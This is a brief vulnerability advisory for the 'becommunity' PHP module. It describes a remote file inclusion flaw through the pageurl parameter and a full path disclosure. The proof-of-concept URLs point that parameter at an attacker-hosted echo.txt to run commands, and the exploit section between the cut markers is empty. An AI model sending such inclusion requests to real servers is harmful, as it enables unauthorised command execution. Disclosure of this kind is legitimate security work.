Vulnerabilities:

~~~~~~~~~~~~~~~~



1. Remote Command Execution



Remote command execution on 'becommunity' (modules that support by BBS e-market

professional)  makes insecure calls to the include() function of PHP (works 

on " pageurl= " functions )  which can allow the inclusion of remote files, 

and thereby the execution of arbitrary commands by remote user with  the web 

server user permissions, usually 'nobody' .

http://[TARGET]/becommunity/community/index.php?from_market=Y& pageurl=[injection URL]



POC=



http://[TARGET]/becommunity/community/index.php?pageurl=http://[ ATTACKER]/echo.txt?

http://[TARGET]/becommunity/community/index.php?from_market=Y& pageurl=http://[ATTACKER]/echo.txt?

Exploit :

~~~~~~~~~



-------------------------------- cut -------------------------------------









---------------------------------- cut ------------------------------------



save on attacker URL with name: echo.txt , to get a listing of file or directories ,

with user id that we got



--------------------------------------------------------------------------



2. Full Path disclosure



A remote user can access the file to cause the system to display an error 

message that indicates the installation path. The resulting error message 

will disclose potentially sensitive installation path information to the 

remote attacker.
